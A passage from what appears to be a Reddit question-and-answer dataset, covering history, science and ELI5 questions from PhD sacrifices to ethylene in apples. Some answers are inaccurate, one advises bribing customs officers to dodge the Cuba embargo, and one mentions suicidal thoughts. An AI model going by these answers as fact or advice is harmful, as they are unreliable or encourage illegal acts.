{"q_id": "s4ic1", "title": "How did the 20th century [hyper]urbanization boom in Latin America happen?", "selftext": "Was it due to agricultural ineptitude or large family size or government?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/s4ic1/how_did_the_20th_century_hyperurbanization_boom/", "answers": {"a_id": ["c4b31ow", "c4b5a73"], "score": [4, 2], "text": ["I can't answer the specific question but I can say this: historically, it was agricultural _improvements_ (not ineptitude) that allowed large number of people to move from the countryside and into the cities.", "The industrialization process in Latin America occurred during the 20th century, not in the 19th century as in more advanced economies, but it was similar in causes and effects. Add the facts of access to basic medic services, increased life expectancy, and overpopulation and you have it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "a4lwn0", "title": "if my dad is an identical twin, does this make me and my cousin (his twin\u2019s daughter) genetically half-siblings?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a4lwn0/eli5_if_my_dad_is_an_identical_twin_does_this/", "answers": {"a_id": ["ebflidy", "ebfmsla"], "score": [17, 2], "text": ["Yes. Identical twins share 100% of their DNA so you and your cousin genetically come from one of the 'same' people", "Correct, to a small degree. Even if your dad his brother are identical twins, their DNA doesn't match exactly. For instance, by brother-in-law is an identical twin with cerebral palsy but his twin does not carry this trait. Due to an uneven distribution of growth, their DNA does not match exactly. There are also environmental factors such as exposure to radiation that can directly alter DNA to the point that identical twins may stop sharing exact DNA sequencing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3b5740", "title": "why are most vpns for pc only available with a paid plan, while most on mobile devices are free?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3b5740/eli5_why_are_most_vpns_for_pc_only_available_with/", "answers": {"a_id": ["csiysp9"], "score": [3], "text": ["PC can potentially use more bandwidth compared to mobiles, free VPNs in mobile are also usually ad-supported. Ads in mobile pays more compared to ads in PC since mobile ads can be targeted to certain zip codes and track more user habit. Some VPN provider also expect the ease of free VPN installation in mobile can entice the user to try their paid service on PC."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3raefp", "title": "Where did the tradition of placing wine bottles on windowsills become popular?", "selftext": "I am not sure if this is the right place to ask this question", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3raefp/where_did_the_tradition_of_placing_wine_bottles/", "answers": {"a_id": ["cwmdsd0"], "score": [9], "text": ["Just curious, but this practice sounds completely unfamiliar: where does this happen? Are the bottles full or empty? What's the purpose: decoration, flower vases, a way of showing off how much one drinks  ...?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2znqpt", "title": "Was there something particularly bad about history written in the Victorian period or has it just been superseded?", "selftext": "Basically, I often come into discussions where I see discussions of history, and the refrain comes \"x is an outdated and inaccurate notion going back to Victorian history!\" (\"Victorian\" seems to carry approximately the same tone as \"Hollywood\" as an epithet impugning the historical truth of some idea.)\n\nI see people criticizing the specific aspects of, e.g., what Gibbon wrote about the Byzantine Empire, but I don't usually see a general dismissal of, say, 18th century history in quite the same way.\n\nWas Victorian history particularly prone to some types of errors? (Perhaps there were new methods of research coming to the fore (e.g., archaeology), but people hadn't yet realized their limitations, so new histories ended up making novel mistakes that older histories dependent on traditional archival research and written sources were less prone to?) \n\nOr it just that history older than Victorian isn't a big problem (at least as far as being regarded as a reliable secondary source), so Victorian history is the oldest and least accurate history that's still widespread in mis-educating people?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2znqpt/was_there_something_particularly_bad_about/", "answers": {"a_id": ["cpkmnug"], "score": [6], "text": ["I think it's more the latter. One of the key things is that history professionalized in the late nineteenth century as Britain and the US adopted the German university seminar model and the Rankean method became more prominent. The \"amateur\" histories which dominated the market were thus denigrated by professional historians trying to mark out their territory. \n\nSome of the histories written in the Victorian period by non-professional historians are still eminently readable. Like Gibbon, they're mostly interesting as primary sources now. We've come a long way in terms of both method and, more importantly, data. That said, I would still happily recommend Leslie Stephen's History of English Thought in the Eighteenth Century. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4b9jnm", "title": "Can a literal bad apple actually spoil a barrel of good apples?", "selftext": "I know the saying of how all it takes is one bad apple, but is that actually true? Can a rotten apple ruin a barrel of good apples?\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4b9jnm/can_a_literal_bad_apple_actually_spoil_a_barrel/", "answers": {"a_id": ["d177gt5", "d179faq", "d179i9n", "d17k2k8", "d17lcfl", "d17qk0v", "d180qeu", "d1860qy"], "score": [7, 21, 2480, 246, 111, 6, 11, 2], "text": ["Yes, ripe apples produce ethylene which quickens the ripening process of other fruits.\n\n_URL_0_", " > Yes. As they ripen, some fruits, like apples and pears, produce a gaseous hormone called ethylene, which is, among other things, a ripening agent. When you store fruits together, the ethylene each piece emits prods the others around it to ripen further, and vice versa. (Fun tip: Want to quickly ripen an avocado? Stick it in a paper bag with an apple overnight.)\n\n > The riper a piece of fruit is, the more ethylene it produces, and overripe fruit gives off even more ethylene, eventually leading to a concentration of the gas that\u2019s enough to overripen all the fruit. Given the right conditions and enough time, one apple can push all the fruit around it to ripen\u2014and eventually rot.\n\n > Additionally, an apple that is infested with mold will contaminate other fruit it's stored with as the mold seeks additional food sources and spreads. In both cases, it actually does take just one single apple to start a domino chain that ruins the rest of the bunch.\n\n_URL_0_", "I used to manage a produce department of a grocery store, and the answer is yes. Fruits produce gas (I forget the name of it, it's been 16 years since I worked there) as they ripen, and apples produce quite a bit of it. As a matter of fact, you can put an apple in a brown paper bag with green bananas and they will ripen very quickly. The warmer the apple is, the faster it ripens and the more gas it produces. This is why apples are stored in a cool area. If you get an overripe apple (a bad one, as it were) in the barrel, it gives off quite a bit more gas and causes the other apples to ripen at a faster rate, possibly to the point of over ripening, thus spoiling the barrel. I hope this is a worthwhile answer!", "Ethylene is the gas that makes the apples ripen faster (and as squirrelforbreakfast mentioned, rotting apples produce more of it). There's a range of fruit that are responsive to ethylene (see climacteric fruit). I'm currently doing some research on bacteria that produce ethylene, and they're commonly found on fruit like apples! ", "In addition to the ethylene argument, apples can also go bad by turning moldy. If that mold releases spores (which it almost certainly has, if it is visible), then the other apples will soon become moldy as well. If you find any mold in a food container, the safe option is to throw out everything in the container. ", "Yes and it is an awesome example of a positive feedback loop! If one apple (even on a tree!) is producing ethylene, and begins to \"turn\" a nearby apple, which begins producing its own ethylene, then it begins to \"turn\" the apples around it and the whole process takes off at an ever increasing rate.", "It sure can. \n\nEthylene is a gas, and plant hormone that is responsible for the ripening of fruit [1]. If you have an apple tree and one apple starts to ripen, it will release more ethylene than the others. This sets off a chain reaction of ethylene secretion which in turn will ripen (eventually) all/most of the apples [2]. If I recall correctly one of the reasons for this is to attract animals and insects to the fruiting seeds and thus help the plant spread it's seed. The old Chinese folks used to burn incense (the smoke contained ethylene) to help ripen pears  &  other fruit [3]\n\nInterestingly back in the Victorian days the gas lamps they had released a fair amount of ethylene; they noticed that fruit in the same room as, or near, one of these gas lamps would ripen fruit much more quickly. Often spoiling fruit much faster and thus earning some folks back then the reputation of being really wasteful.\n\nFun fact: A certain tree in Africa, Acacia, has a self defence response that uses Ethylene. When a tree is being over-grazed (munched on too much by antelopes and other herbivores) they secreted a sacrificial load of ethylene with the sole purpose of other acacia trees to receive the ethylene signal and secrete a toxin which will kill (most) herbivores that decide to eat nearby acacias; thus helping to prevent the trees being thinned out. So this hormone isn't just for ripening, in some cases it's a form of plant-self-defence! [3]\n\nReferences\n\n[1](_URL_2_)\n\n[2](_URL_3_)\n\n[3](_URL_1_)\n\n[another quick wiki ref](_URL_4_)\n\n[4](_URL_0_)\n\nbtw: I'm an environmental sciences student, who is fascinated by plants \\^_^ ", "Possibly...because a \"literal bad apple\" is what the teacher called me in grade school. So if you put my 220lb body (complete with MA in English and penchant for the pedantic) in a barrel of apples then there would be a problem for the actual apples in the barrel.\n\n\nI'll leave it to those educated in the areas of science to confirm if it is true that a bad or spoiled apple can actually infect the entire bushel or what ever volume of apples is exposed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://m.mentalfloss.com/article.php?id=31666"], ["http://mentalfloss.com/article/31666/does-one-bad-apple-really-spoil-whole-bunch"], [], [], [], [], ["https://spectregroup.wordpress.com/2010/01/08/acacia-self-defense/", "https://books.google.co.uk/books?hl=en&amp;lr=&amp;id=-D7tvAvWpSQC&amp;oi=fnd&amp;pg=PP1&amp;dq=chinese+incense+ripen+pears+ethylene&amp;ots=D_7yEZQ_Og&amp;sig=_--_v_SwGoKxFWCd6h6omBHThRE#v=onepage&amp;q=chinese%20incense%20ripen%20pears%20ethylene&amp;f=false", "http://www.postharvest.tfrec.wsu.edu/pages/PC2000F", "http://www.frontlineservices.com.au/Frontline_Services/Fruit_ripening_gas_-_ethylene.html", "https://en.wikipedia.org/wiki/Ethylene#History_of_ethylene_in_plant_biology"], []]}
{"q_id": "hcwtq", "title": "What have you lost in the pursuit of your Ph.D?", "selftext": "Sometimes, I look at what I've sacrificed in the name of Science and higher education and I wonder if other people go through something similar.  \n\nIll start, Ive estranged myself from childhood friends, seen close friends be let go from my program, broken more promises and commitments to my S.O. than I care to think about and all of it in the name of my degree and science.  When I have time to reflect on the past three years, I wonder if I'm the out-lier or if this is typical for others.  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hcwtq/what_have_you_lost_in_the_pursuit_of_your_phd/", "answers": {"a_id": ["c1uf1gs", "c1uf1yq", "c1uf3z1", "c1uf5ir", "c1uf5ux", "c1ufqrk", "c1ufrrk", "c1ufxja", "c1ufz48", "c1ug3kw", "c1ug3wx", "c1ug45h", "c1ug4p3", "c1ug6cc", "c1ug8ei", "c1ug95g", "c1ugexp", "c1ugijq", "c1ugjuc", "c1ugnfn", "c1ugs8d", "c1ugv4v", "c1ugx2i", "c1ugxg3", "c1uh3ot", "c1uh51r", "c1uh7iy", "c1uhcc0", "c1uhdkh", "c1uhmar", "c1uht4i", "c1ui2vs", "c1ui38p", "c1ui3vu", "c1uiagr", "c1uif89", "c1uijok", "c1uipo0", "c1uk6az"], "score": [120, 112, 28, 67, 44, 45, 27, 4, 13, 6, 37, 24, 16, 4, 3, 4, 10, 3, 9, 10, 2, 31, 2, 3, 6, 2, 4, 2, 5, 2, 2, 3, 5, 3, 5, 2, 3, 2, 3], "text": ["Get up - go to work - work - eat a terrible lunch - work more - come home - dinner - more work - reddit - sleep.\n\nAny thing that's not in there, that's what I've lost.", "I've definitely lost some friends.  I feel like the world shrinks, especially when most people are intimidated by hearing what you do.  Strangers respond \"wow you must be really smart\" and there's really no way to recover that conversation. \n\nI've lost free time, I've lost some sanity, but I think that what hurts most of all is the loss of intrinsic motivation.  I don't care about the science anymore, I just care about finishing the degree. ", "Basically all of my 20's was spent in grad school or postdocs.  I gave up a lot in that time, I lost touch with friends, missed out on family things, watched my first marriage fall apart.  It was a hard time personally, especially contrasted to how amazing it was from an intellectual standpoint.  \n\nI'm still not sure if it was the best time of my life or the worst.  Certainly the most emotionally draining, a total roller coaster.\n\nSome advice that got me through:  Your 20's suck, you're struggling, working like crazy, but your 30's are awesome, you get enough status that you can tell people \"no\" and do what you want.\n\nThis is true, and even more so as you get into your late 30's.  Stick it out, life gets better, those who you really click with in your life will understand and be there later on.\n\nMy ex-wife was nuts anyway, so in hindsight it was a good thing.  ", "The pigment in my hair", "The two things I \"regret\" about getting a PhD is losing out on having kids at the right time, and all of the stress. When I was in grad school (late 90s) getting pregnant meant dropping out of the program, there was no precedent for staying. Then post-doc, and then junior faculty position. I love my daughter but wished I had her at 28 instead of 35. Now I'm going to be 53 when she graduates from high school!\n\nThe stress of my science not working out I can deal with. Most experiments don't work, and you spend so much time figuring stuff out. BUT the constant stress of where is my life going, will I have the money to keep working, will this grant get funded, will my career be ruined by this event, etc. etc. etc. Not good for my daughter, husband or myself. \n\nI will say that it's important to realize that everyone goes through a period of \"why am I doing this to myself\" in grad school. It will get better, you will eventually get out and start enjoying your life more. You have a lot of options in front of you, and if you make it in academics, it's a pretty sweet job. If you don't like academics, there are other options out there, but it's better to realize that sooner than later. ", "I've lost my idealistic illusion of how science is conducted.  I entered graduate school thinking that I was about to embark on a noble quest for Truth, and there may be some situations in which that is true, but that was certainly not my experience.  I have become somewhat jaded.  I know there are prominent scientists in my field who are very well known, who will publish anything regardless of how meaningful it is or how flawed the data is.  They just want another pub to put on their vita.  They seem more interested in publishing than in science.\n\nEdit: One of the worst examples of this was my graduate school advisor.  This led to many many conflicts and situations in which I felt forced to sell out my ideals or get kicked out of the program.  It was a bit of a soul crushing experience.", "When I started grad school I had a full head of hair that has been quickly receding; however, the more hair I lose, the more head I get.", "It's rough. There is no hiding it. I did not spend enough time with my son. I was away from the house 6.5 days a week. Friends outside of my building? Not a chance.\n\nThen there are the other things - besides my family and the girl at the checkout at the grocery store, I would go days without talking to people whose native language was English.\n\nThen I got a 9-5 and nearly went crazy because I didn't have research to fill my time.\n\nBut don't think of the negatives, there are positives. \n", "Confidence, all of it, from believing I understood what I study to thinking this career was what I wanted, or that I could be successful at it if I tried.", "A tiny bit higher risk for down syndrome and a vastly greater change of having a mature, responsible parent with resources. Get pregnant and have a kid if you want one. 95% chance of a healthy kid is great odds, don't give up because of the fraction of a percent chance between age 35 and 37.  ", "A printed copy of this page should be required reading attached to grad school application forms :|", "Terrible human for an advisor, phd sucks. Great all-around person for advisor, phd is almost always a positive experience. Advisor personality is a very consistent predictor of the phd experience in my dept and among my friends. ", "Ego. 20 pounds. Illusions about the process of doing good science.\n\nThe stick that used to be up my ass.", "I lost my SO moving a few hundred miles away.  It's also hard to keep in touch with friends from home.  I'm also sure I could be making a lot more money than I am at least right now had I gone for a masters or straight into the work force after undergrad.  ", "Also they lost ignorance... That's a plus", "Some of the responses regarding losing friends had me thinking how I used to always want to ask people what they did their Ph.D on and I generally get trite answers.  Gives me the impression they either don't care to talk about it or are too above me to explain.   \n\nI'd always get better results from spouses.  I remember one guy was all proud of his wife who had just gotten her Ph.D in genetics at Princeton.  He was all about explaining what he knew about her work.  A major life accomplishment I told him and got him a drink.  I remember happening again some guys wife getting her Ph.D in psychology.  He went into painstaking detail and it was rather horrifying (it had to do with sex offenses); but it was cool.\n\nI still want to ask, I just don't unless a spouse is near.  ", "I wanted to get a Ph.D throughout my undergraduate experience because I loved research and wanted to be challenged more. I did Master's level work for my undergraduate thesis while working 5 jobs and working in two labs. Although I loved what I was doing, I felt burned out from it and questioned pursuing graduate school after all. A year has passed and I was planning on traveling and working abroad for a year or two. Since reading this subreddit and learning new things on my own, I feel ready to continue my education and I feel a need to be challenged again. I dropped my abroad plans and will be applying this fall.\n\nThis thread just killed that motivation. I value my social life and my travels. I'm in my early 20s and am now rethinking if it's too early to invest 6+ years in this. I know I can handle graduate school but I don't know if I want to lead such an unbalanced and unhealthy lifestyle again. I'm sure it is possible, but it is also possible to do other things in life and lead a less stressful life. Indecisiveness ensues again.", "Lost a girlfriend, grew apart on several friendships, took a severe hit on anything resembling a social life, have lost touch with the simple and easy things in life, and closed most of my doors in the industry in favor of academia.\n\nIt's hard to explain to people how miserable a Ph.D. is while rationalizing why I'm doing it. I just say, \"Somebody's got to do the science!\"", "A lot of missed income, but that's about it. Grad school has been a satisfying and fulfilling way to travel around the world, meet a lot of interesting people, and do cool work. Moving to a new continent with my SO brought us closer together. 10 years of living on student income sometimes sucks, but I'll be out in the field after I'm finished, and that'll still be before I turn 30. Grad school is awesome.", "my god damned sanity. and the definition of progress. and any sense of time. and any hope in the phd concept/system. it's essentially an old-boys-club. the notion of quality. show me someone who is proud of their thesis or who think that the standard of work is high and i'll show you something equally implausible in whatever vernacular you work in.\n\ni never came to grad school for this.", "I've lost my chance to get a PhD in my pursuit to get a PhD.  But according to the other people in my group when I was there, they lost their souls in exchange for a little piece of paper.  Looking back on it, we all agree: I came out ahead.", "This thread is so depressing.", "I'm 27, I just graduated with my Ph.D.  (defended earlier in the semester)\n\nI've lost a lot (girlfriends, hair, relationships with family, skin tone, friends, etc), but luckily most of that isn't permanent (even the hair, but I'm not going that route).\n\nNow time to try to get tenure, make some new friendships, etc. etc.\n", "Sleep. \n\nThough a DVM isn't really a Ph.D.  We're both called Doctor's though so surely that counts for something. ", "I started a year ago, and I am already completely disillusioned with research. Some days I pretend to care, other days I wish I was dead, most days I drink so I can fall asleep. I constantly live in fear of failure, of losing my position, of being kicked out of grad school. I know I am in way over my head.  \nI am lucky to have some good friends and a girlfriend that I care about, and that just about gets me through. If I lost that too then I would probably just kill myself.", "I had a hard enough time just getting through a Master's degree. Actually, i practically did 2 of them. I had the scholarships to continue but I decided against it and I hope I made the right choice. My goal right now is just to start a new life. A complete life.", "I've lost out on enjoying my early-mid twenties. \n\nI will hopefully be no older than 26/27 (I turn 25 in September) when I finish, but that's a huge chunk of youthful experiences (bars with friends, house parties) I'm not going to get back.\n\nYeah, I guess I could still do that now (who has the energy?) or when I finish, but the responsibilities are just going to keep piling on.", "I kinda needed to hear that", "*Confirming my decision to drop out during MSc*", "meh, I already lost them all in my undergrad years. So I don't expect to really lose anything once I'm in grad school.  Restarting is sometimes fun, anyways. ", "I am finishing my program this Summer at my Master's degree in physics. I had enough, burnt out with classes and advisors who ask way too much. I hope a brighter future awaits...", "Most of the answers sound like what happens to people who pursue any  job and grow older.", "I have lost nothing. In fact, I have gained a great deal. My post-grad education has taken me to the coolest place on earth (Newfoundland). It is here that I not only started playing guitar again and got back into a band, but also found my fiance. \n\nAlso, being a student has allowed me to meet all sorts of cool students. I get a huge bursary from my school and make tonnes being a teaching assistant (which for me means marking exams twice a semester - no lecturing or other crap). \n\nI hear grad students complaining all the time about how hard it is being a student and mostly (but not always) I think they are being drama queens. I was in the work force before I came back to grad school and I am having the time of my life. \n\nThis is MUCH better than working. I honestly have to wonder why people are even here if they find grad school so hard or if it takes such a huge toll on their lives. A lot of the problems people have in grad school are the result of poor life planning and nothing else. Grad school should be fun.\n", "My youth.\n\nMy girlfriend.\n\nMy dignity.\n\nMy sanity.\n", "Late to the party, so chances are no one will read this, but my answer is different than most so I will put it out there.\n\nI have lost any passion for my science.  What I discovered pretty much immediately upon arriving at grad school is that, while I had always loved science courses, I find doing actual research to be completely soul crushing.  I learned the hard way that I love thinking about science and talking/writing about science, but I hate actually doing science.  Only reason I stuck with grad school is because I need the pay check, and there aren't many promising career options out there for people with a BA in chemistry.\n\nUnlike most of the people in this thread, I have not lost a lot of friends, etc. from the stress and long hours.  Part of that is because of a very understanding wife, part of it is because, to be honest, I just don't work that hard.  I come in to lab, set up a few experiments, and browse reddit most of the day.  I am so burnt out and depressed about the whole thing, that I pretty much do the bare minimum necessary to make progress on my research, and half-ass everything else.  I am now a year or two away from my PhD, but I feel like I am less of a scientist than I was as an undergrad.", "Coming in late to the game, but: my ability to walk without pain.\n\nI am wrapping up a year of field research for my M.S. in entomology, and it involves hiking several miles per week in the woods. The strain on my ankles and feet was too much, and I now have severe subluxation in both peroneal tendons and sesamoiditis. Basically, the tendons in my ankle have stretched out and now snap against the bone when I walk, and the sesamoid bone in the bottom of my foot is fractured.\n\nSurgery isn't an option until August (when I conclude my field work) because it will have me laid up for over a week, and if I miss a collection date, well, all of this work will have been for nothing. \n\nMy parents used to tell me that if school or work ever interfered with my health, it was time to take a step back. It's safe to say that I don't keep them fully informed now.\n\nTLDR; science ate my feet.\n\n", "I actually disagree with most of the comments here.  I'm in my third year of a physics PhD program, and can only think of what I've *gained*.  Especially compared to to the 9-5 cubicle job I left behind.  Yes, there are a lot of issues and \"mundane\" work I encounter daily, (fixing the laser, writing papers, poring through data, and generally dealing with equipment), but that is far outweighed by a generally interesting research field (non-linear optics) that I do enjoy.  Plus, I can include some theory and calculations to go along with my measurements.\n\n**The amount of \"mundane\" I encountered in a cubicle is astronomical in comparison.  **\n\nI've also gained freedom in my schedule as a grad student, for example, waiting for a vacuum in the deposition chamber?  Go for a bike ride.  Grad school has actually allowed me the time and motivation to pursue amateur bike racing.  \n\nI'm married as well, and now in grad school I can take the time to have lunch with her which was never possible during my constrained 9-5 cubicle schedule.\n\nI've been able to try teaching as a TA, which has its challenges and frustrations for sure, but there have certainly been some rewarding experiences.  I'm also learning something about myself in the process, and what it means to be able to relate well to students as a teacher.\n\nThe only thing I can think of that I *lost*, is the income of an engineer, but honestly my stipend is enough for the both of us (my wife works only part time), and I'm much happier.\n\nSigned,\nOne Very Happy Grad Student,", "sanity  &  confidence in my own knowledge.\n\nbut, y'know, it's not so bad. ", "I've lost some respect for science and academia. It seems that the most important skills in science seem to be salesmanship and self-promotion, not problem solving or creativity. Don't get me wrong, the virtues are there, too, but in academia you're selecting for the people that can most shamelessly and effectively self-promote so as to bring in more grant money. That's why the best scientists don't always end up in academia."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "30yb96", "title": "when and how can i visit cuba as a tourist?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30yb96/eli5_when_and_how_can_i_visit_cuba_as_a_tourist/", "answers": {"a_id": ["cpwx42m", "cpwznne", "cpx188z", "cpx1bfm"], "score": [10, 2, 3, 2], "text": ["You can go there as a student or for some professional reasons if you get permission from the government.\n\nIt has long been understood that Americans and their money are welcome as visitors in Cuba, but you have to bribe the customs officers to not stamp your passport. If they stamp it you will get in trouble when you return, and if you get a bad guard/get in trouble while there you will have no embassy to protect you.\n\nIt's done frequently but there's an element of danger in it.\n\nIf you mean legally, I think it's a federal policy and it depends on the president saying to open up.\n\nThis is speeding up lately, probably because Obama wants to snatch back Cuba as an ally as a way to fuck Russia for their Ukrainian shenanigans. ", "I know a lot of people in the north are able to cross over into Canada and then travel to Cuba from there. Mind you this was before 9/11, new travel restrictions may have made this loophole impossible.", "Don't have to wait till embargo is lifted.  Just buy a round trip ticket to Mexico or Canada and once you are there use cash to buy a round trip ticket to Cuba from a local airline.  Mexico is easiest and closest.  Pretty sure CubaJet flies out of Cancun.  Happy travels!", "Cuba already has tourism from the rest of the world, it's not going to change overnight once Americans are allowed in too. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2f798h", "title": "Why do we not feel the difference in rotational velocity at different latitudes?", "selftext": "At a latitude of 90\u00b0, the speed of rotation is 0, but at the equator, the speed is 1041 mph. Why do we not feel a difference?\n\nEdit: Thank you guys so much for your responses! ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2f798h/why_do_we_not_feel_the_difference_in_rotational/", "answers": {"a_id": ["ck6jvto", "ck6lj3w", "ck6quk1", "ck6td3f"], "score": [5, 16, 4, 2], "text": ["You only perceive the effect of speed if you have something to compare your motion to.  It's like being in a bus with all the windows shuttered on a smooth, straight road - it would be very difficult to tell the difference between going 30 and 90.\n\nOn the surface of the Earth, everything is moving with you, so there's nothing to compare your speed to.", "Because you're not sensitive enough to feel it. If you were sensitive enough, and could record force, you would feel heavier at the poles than at the equator. \n\nSimilarly, you would certainly feel the change in rotational velocity if you were sitting on a cruise missile flying towards the poles. ", "You would absolutely feel the difference if you ever moved from the equator to the poles quickly. Instead you lose rotational velocity slowly over a period of hours, usually in some kind of vehicle and the angular momentum is lost in the mess of other bumps and turns", "There are two effects that change your perception of your weight at the poles and at the equator. The first is the change in rotational velocity and second is the change in the radius of the earth. \n\nThe earth is not a perfect sphere, mainly due to its rotation, and as a result when you are at the equator, you will feel lighter due to the distance between yourself and the centre of mass of the earth being greater. At the poles, this distance is minimal and the acceleration experienced is more than at the equator. \n\nGravitational acceleration due to an object is equal to the universal gravitational contant (simply a scaling number for how strong gravity is as a force) multiplied by the mass of an object and divided by the distance from that objects centre of mass squared. Using the polar radius of the earth, 6,356,800m, and the mass of the earth, 5.9722x10^24kg, we can calculate the acceleration at the poles to be about 9.858 ms^-2 (metres per second squared)\n\nMoving on to the equator, and first ignoring the effects of the rotation of the earth, with an equatorial radius of 6378.1 km, the gravitational acceleration would be 9.792 ms^-2, so already a difference.\n\nThe equation to calculate centripetal acceleration is 4 times pi^2, times the radius of rotation divided by the period of rotation squared. The period in this case is 24 hours, or 86,400 seconds and pi is simply the constant 3.14159... The acceleration experienced due to rotation at the equator is therefore 0.0337 ms^-2. \n\nCombining both these physical phenomena provides with an 'experienced' acceleration value of 9.858 ms^-2 at the poles, and 9.758 ms^-2 at the equator. This means you would feel about 1.01% lighter at the equator than at the poles. Natural body weight fluctuates more than this during a day, and so the effect will not typically be felt. \n\n*edit* so after working all of this out, I've checked and I believe the accepted value is closer to 0.5%, this may be due to differences in accuracy of measurements, or something I haven't considered correctly. I'd be grateful if anyone can spot any flaws in my calculations. \n\nAlso source: Natural Sciences student covering Physics at University"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4nf56u", "title": "how do some countries like brazil, venezuela, and ukraine gain a reputation for having beautiful women when there are pretty women everywhere?", "selftext": "How did certain countries become known for attractive women over others? Is it just popular American perception? I'm not sure where in the world American or Canadian women are known for being beautiful, for example", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4nf56u/eli5_how_do_some_countries_like_brazil_venezuela/", "answers": {"a_id": ["d43e49e", "d43gytt", "d4f49sm"], "score": [12, 19, 2], "text": ["A bunch if famous models come from there.   Brazil invented waxing your vag and has more nude beaches than regular beaches.  Makes sense.", "It\u00b4s a cultural thing, for one beauty in women is very valued in those countries. IIRC Venezuela has one of the highest rates of cosmetic surgeries. So while those countries might not produce more beautiful women per se, their culture might encourage woman to focus more on their appearance.\n\nAdditionally there is a cultural thing on the other side of the spectrum, you as an outsider might find women from those cultures to be more attractive because they are exotic and you have been socially conditioned to find that desirable.\n\nPlus if you think about it almost every culture has some stereotypes of beautiful woman, consider:\n\n* Scandinavian archetype\n* Blonde German models\n* French seductresses\n* Hollywood beauties\n* etc.", "Just google \"trigglypuff dating profile\" and ask yourself what sort of women would be produced by a culture where such attitudes are common.\n\nThen ask yourself what the culture is like in Ukraine, Venezuela, and Brazil in comparison."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8j34pn", "title": "How much electrical conductance (if any) is lost, when a metal is oxidized?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8j34pn/how_much_electrical_conductance_if_any_is_lost/", "answers": {"a_id": ["dywn892", "dywn9od", "dywpui9"], "score": [23, 9, 4], "text": ["That depends on the degree of oxidation, the oxidation product and the original material.  Most  common pure metal oxides are, comparatively speaking, very poor conductors (many are actually excellent insulators)\n\nA thin surface layer of oxide such as you will find on aluminum or stainless steel has little effect on the overall conductivity of the material as a whole.  A thicker oxide layer will affect the ability to form a good connection with another material.   This latter bit is why aluminum wiring is rarely used anymore.   When mated with a dissimilar material like copper without protection, the resulting bond will oxidize, conductivity will drop, the junction heats up and if it heat as up enough, your house burns down.\n\n", "a lot if the metal is completely oxidized. Metal oxides are generally non-conductive, period. The reason metals conduct is because of metal-metal bonding which frees up valence electrons to move through a network of metal atoms. But salt formation \u201ctraps\u201d the electrons into ionic bonds which prevents them from moving and therefore conducting.\n\nEdited for clarity", "In many cases, metal oxides are insulating. They don't matter as much as you might think (though they do matter) in many of the electrical contacts we use because if an oxide layer is in the nanometre range so electrons could tunnel through it, and we could probably even induce dielectric breakdown if needed in such a thin insulator."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1lb7l9", "title": "Is there any evidence of allopatric speciation caused by the Great Wall of China or other manmade structures?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lb7l9/is_there_any_evidence_of_allopatric_speciation/", "answers": {"a_id": ["cbxi7l8", "cbxj39u", "cbxka5m", "cbxkrx8", "cbxku5y", "cbxl277", "cbxlrrg", "cbxm3nv", "cbxmfq7", "cbxp9z4", "cbxqiz4", "cbxrs85", "cbxrxbl", "cbxs3yz", "cbxsesr", "cbxt550", "cbxugt0", "cbxybl1"], "score": [52, 15, 243, 485, 72, 28, 55, 8, 13, 11, 7, 2, 3, 5, 2, 3, 3, 3], "text": ["I don't know of any specific examples related to the Great Wall. The great apes are one possible example (disjointed range caused by humans, which leads to small inbred populations).\n\nThey aren't distinct species yet, but I suspect that some globally-distributed \"city animals\" like pigeons, sparrows, Norwegian wharf rats, bedbugs, and cockroaches are diverging and adapting to local conditions at a very rapid rate. ", "I would venture that the answer is likely no, simply because if such a thing *was* known, it would be a pretty damn big deal, and it seems likely that it'd be common knowledge among folks in my field (although perhaps I've just missed out on something).\n\nThere are *very* few generalities when it comes to speciation, but it only very rarely occurs on timescales of ~1000s of years (which is what would be necessary in order for it to have been caused by man made structures). The fastest speciation event I'm aware of off the top of my head may be [the pupfish radiation in Lake Chichincanab](_URL_0_), which may have occurred as quickly as the last 10000 years, but it's difficult to know for sure (it may be older).\n\n", "Culex pipiens f. molestus seems to be a new species which formed in subways and specialised in biting humans,rats and mice.\n\nSource:[_URL_0_](_URL_0_)\n\nEDIT: **Please, read RabidMortals comment.** The London Underground mosquito is not a real example for \"manmade\" speciation.", "A certain species of deer still refuses to cross the boundary between the eastern world and the western world in Germany... even though the Berlin wall fell almost 25 years ago. The physical barrier is gone but the barrier still remains in their \"collective memory\". Thats the closest example i could think of. \n\nlots of information about this on the web. Example: _URL_0_", "[Radiotrophic fungus (_URL_3_)](_URL_0_) in 